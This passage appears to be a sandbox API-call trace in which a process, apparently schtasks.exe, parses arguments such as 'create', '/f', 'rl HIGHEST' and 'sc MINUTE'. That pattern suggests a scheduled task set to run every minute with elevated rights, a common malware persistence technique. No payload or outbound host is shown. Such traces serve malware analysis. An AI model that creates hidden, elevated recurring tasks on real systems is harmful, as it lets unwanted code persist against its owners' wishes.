lpSrch="|rl|") returned 0x0 [0125.929] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.929] lstrlenW (lpString="xml") returned 3 [0125.930] lstrlenW (lpString="xml") returned 3 [0125.930] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.930] lstrlenW (lpString="rl") returned 2 [0125.930] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.930] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|xml|") returned 5 [0125.930] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.930] lstrlenW (lpString="|xml|") returned 5 [0125.930] lstrlenW (lpString="|rl|") returned 4 [0125.930] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0125.930] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.930] lstrlenW (lpString="ec") returned 2 [0125.930] lstrlenW (lpString="ec") returned 2 [0125.930] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.930] lstrlenW (lpString="rl") returned 2 [0125.930] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.930] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|ec|") returned 4 [0125.930] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.930] lstrlenW (lpString="|ec|") returned 4 [0125.930] lstrlenW (lpString="|rl|") returned 4 [0125.930] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0125.930] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.930] lstrlenW (lpString="rl") returned 2 [0125.930] lstrlenW (lpString="rl") returned 2 [0125.930] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.930] lstrlenW (lpString="rl") returned 2 [0125.930] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.931] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.931] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rl|") returned 4 [0125.931] lstrlenW (lpString="|rl|") returned 4 [0125.931] lstrlenW (lpString="|rl|") returned 4 [0125.931] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0125.931] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.931] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.931] lstrlenW (lpString="HIGHEST") returned 7 [0125.931] lstrlenW (lpString="-/") returned 2 [0125.931] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0125.931] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.931] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.931] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.931] lstrlenW (lpString="HIGHEST") returned 7 [0125.931] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0125.931] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.931] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.931] _memicmp (_Buf1=0x1fba65fa950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.931] lstrlenW (lpString="HIGHEST") returned 7 [0125.931] lstrlenW (lpString="HIGHEST") returned 7 [0125.931] lstrlenW (lpString=" \x09") returned 2 [0125.931] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0125.931] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0125.931] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0125.931] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0125.931] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0125.931] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0125.931] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0125.931] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0125.932] GetLastError () returned 0x0 [0125.932] lstrlenW (lpString="HIGHEST") returned 7 [0125.932] lstrlenW (lpString="HIGHEST") returned 7 [0125.932] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.932] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.932] lstrlenW (lpString="/f") returned 2 [0125.932] lstrlenW (lpString="-/") returned 2 [0125.932] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.932] lstrlenW (lpString="create") returned 6 [0125.932] lstrlenW (lpString="create") returned 6 [0125.932] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.932] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.932] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|create|") returned 8 [0125.932] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.932] lstrlenW (lpString="|create|") returned 8 [0125.932] lstrlenW (lpString="|f|") returned 3 [0125.932] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0125.932] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.932] lstrlenW (lpString="?") returned 1 [0125.932] lstrlenW (lpString="?") returned 1 [0125.932] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.932] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.932] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|?|") returned 3 [0125.932] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.932] lstrlenW (lpString="|?|") returned 3 [0125.932] lstrlenW (lpString="|f|") returned 3 [0125.932] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0125.932] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.933] lstrlenW (lpString="s") returned 1 [0125.933] lstrlenW (lpString="s") returned 1 [0125.933] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.933] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.933] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|s|") returned 3 [0125.933] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.933] lstrlenW (lpString="|s|") returned 3 [0125.933] lstrlenW (lpString="|f|") returned 3 [0125.933] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0125.933] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.933] lstrlenW (lpString="u") returned 1 [0125.933] lstrlenW (lpString="u") returned 1 [0125.933] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.933] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.933] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|u|") returned 3 [0125.933] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.933] lstrlenW (lpString="|u|") returned 3 [0125.933] lstrlenW (lpString="|f|") returned 3 [0125.933] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0125.933] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.933] lstrlenW (lpString="p") returned 1 [0125.933] lstrlenW (lpString="p") returned 1 [0125.933] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.933] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.933] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|p|") returned 3 [0125.933] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.934] lstrlenW (lpString="|p|") returned 3 [0125.934] lstrlenW (lpString="|f|") returned 3 [0125.934] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0125.934] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.934] lstrlenW (lpString="ru") returned 2 [0125.934] lstrlenW (lpString="ru") returned 2 [0125.983] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.983] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.983] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|ru|") returned 4 [0125.983] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.984] lstrlenW (lpString="|ru|") returned 4 [0125.984] lstrlenW (lpString="|f|") returned 3 [0125.984] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0125.984] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.984] lstrlenW (lpString="rp") returned 2 [0125.984] lstrlenW (lpString="rp") returned 2 [0125.984] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.984] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.984] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|rp|") returned 4 [0125.984] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.984] lstrlenW (lpString="|rp|") returned 4 [0125.984] lstrlenW (lpString="|f|") returned 3 [0125.984] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0125.984] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.984] lstrlenW (lpString="sc") returned 2 [0125.984] lstrlenW (lpString="sc") returned 2 [0125.984] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.984] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.984] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sc|") returned 4 [0125.984] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.984] lstrlenW (lpString="|sc|") returned 4 [0125.984] lstrlenW (lpString="|f|") returned 3 [0125.984] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0125.984] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.985] lstrlenW (lpString="mo") returned 2 [0125.985] lstrlenW (lpString="mo") returned 2 [0125.985] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.985] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.985] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|mo|") returned 4 [0125.985] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.985] lstrlenW (lpString="|mo|") returned 4 [0125.985] lstrlenW (lpString="|f|") returned 3 [0125.985] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0125.985] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.985] lstrlenW (lpString="d") returned 1 [0125.985] lstrlenW (lpString="d") returned 1 [0125.985] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.985] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.985] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|d|") returned 3 [0125.985] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.985] lstrlenW (lpString="|d|") returned 3 [0125.985] lstrlenW (lpString="|f|") returned 3 [0125.985] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0125.985] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.985] lstrlenW (lpString="m") returned 1 [0125.985] lstrlenW (lpString="m") returned 1 [0125.985] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.985] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.986] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|m|") returned 3 [0125.986] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.986] lstrlenW (lpString="|m|") returned 3 [0125.986] lstrlenW (lpString="|f|") returned 3 [0125.986] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0125.986] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.986] lstrlenW (lpString="i") returned 1 [0125.986] lstrlenW (lpString="i") returned 1 [0125.986] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.986] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.986] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|i|") returned 3 [0125.986] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.986] lstrlenW (lpString="|i|") returned 3 [0125.986] lstrlenW (lpString="|f|") returned 3 [0125.986] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0125.986] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.986] lstrlenW (lpString="tn") returned 2 [0125.986] lstrlenW (lpString="tn") returned 2 [0125.986] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.986] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.986] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tn|") returned 4 [0125.986] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.986] lstrlenW (lpString="|tn|") returned 4 [0125.987] lstrlenW (lpString="|f|") returned 3 [0125.987] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0125.987] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.987] lstrlenW (lpString="tr") returned 2 [0125.987] lstrlenW (lpString="tr") returned 2 [0125.987] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.987] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.987] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|tr|") returned 4 [0125.987] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.987] lstrlenW (lpString="|tr|") returned 4 [0125.987] lstrlenW (lpString="|f|") returned 3 [0125.987] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0125.987] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.987] lstrlenW (lpString="st") returned 2 [0125.987] lstrlenW (lpString="st") returned 2 [0125.987] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.987] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.988] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|st|") returned 4 [0125.988] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.988] lstrlenW (lpString="|st|") returned 4 [0125.988] lstrlenW (lpString="|f|") returned 3 [0125.988] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0125.988] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.988] lstrlenW (lpString="sd") returned 2 [0125.988] lstrlenW (lpString="sd") returned 2 [0125.988] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.988] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.988] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|sd|") returned 4 [0125.988] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.988] lstrlenW (lpString="|sd|") returned 4 [0125.988] lstrlenW (lpString="|f|") returned 3 [0125.988] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0125.988] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.988] lstrlenW (lpString="ed") returned 2 [0125.989] lstrlenW (lpString="ed") returned 2 [0125.989] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.989] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.989] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|ed|") returned 4 [0125.989] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.989] lstrlenW (lpString="|ed|") returned 4 [0125.989] lstrlenW (lpString="|f|") returned 3 [0125.989] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0125.989] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.989] lstrlenW (lpString="it") returned 2 [0125.989] lstrlenW (lpString="it") returned 2 [0125.989] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.989] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.989] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|it|") returned 4 [0125.989] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.989] lstrlenW (lpString="|it|") returned 4 [0125.989] lstrlenW (lpString="|f|") returned 3 [0125.989] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0125.989] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.989] lstrlenW (lpString="et") returned 2 [0125.989] lstrlenW (lpString="et") returned 2 [0125.990] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.990] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.990] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|et|") returned 4 [0125.990] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.990] lstrlenW (lpString="|et|") returned 4 [0125.990] lstrlenW (lpString="|f|") returned 3 [0125.990] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0125.990] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.990] lstrlenW (lpString="k") returned 1 [0125.990] lstrlenW (lpString="k") returned 1 [0125.990] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.990] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.990] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|k|") returned 3 [0125.990] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.990] lstrlenW (lpString="|k|") returned 3 [0125.990] lstrlenW (lpString="|f|") returned 3 [0125.990] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0125.990] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.990] lstrlenW (lpString="du") returned 2 [0125.991] lstrlenW (lpString="du") returned 2 [0125.991] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.991] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.991] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|du|") returned 4 [0125.991] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.991] lstrlenW (lpString="|du|") returned 4 [0125.991] lstrlenW (lpString="|f|") returned 3 [0125.991] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0125.991] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.991] lstrlenW (lpString="ri") returned 2 [0125.991] lstrlenW (lpString="ri") returned 2 [0125.991] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.991] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.991] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|ri|") returned 4 [0125.991] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.991] lstrlenW (lpString="|ri|") returned 4 [0125.991] lstrlenW (lpString="|f|") returned 3 [0125.991] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0125.991] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.991] lstrlenW (lpString="z") returned 1 [0125.991] lstrlenW (lpString="z") returned 1 [0125.992] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.992] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.992] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|z|") returned 3 [0125.992] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.992] lstrlenW (lpString="|z|") returned 3 [0125.992] lstrlenW (lpString="|f|") returned 3 [0125.992] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0125.992] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.992] lstrlenW (lpString="f") returned 1 [0125.992] lstrlenW (lpString="f") returned 1 [0125.992] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.992] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.992] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.992] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467c0a8 | out: _Buffer="|f|") returned 3 [0125.992] lstrlenW (lpString="|f|") returned 3 [0125.992] lstrlenW (lpString="|f|") returned 3 [0125.992] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0125.992] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.992] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.992] GetProcessHeap () returned 0x1fba65f0000 [0125.993] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb370 [0125.993] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.993] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0125.993] lstrlenW (lpString="LIMITED") returned 7 [0125.993] GetProcessHeap () returned 0x1fba65f0000 [0125.993] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x10) returned 0x1fba65fac10 [0125.993] GetThreadLocale () returned 0x409 [0125.993] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0125.993] GetProcessHeap () returned 0x1fba65f0000 [0125.993] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb850 [0125.993] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.993] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0125.993] lstrlenW (lpString="HIGHEST") returned 7 [0125.993] GetProcessHeap () returned 0x1fba65f0000 [0125.993] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x10) returned 0x1fba65fa930 [0125.993] GetThreadLocale () returned 0x409 [0125.993] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0125.993] GetProcessHeap () returned 0x1fba65f0000 [0125.993] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb9a0 [0125.993] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.993] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0125.994] lstrlenW (lpString="MINUTE") returned 6 [0125.994] GetProcessHeap () returned 0x1fba65f0000 [0125.994] RtlAllocateHeap 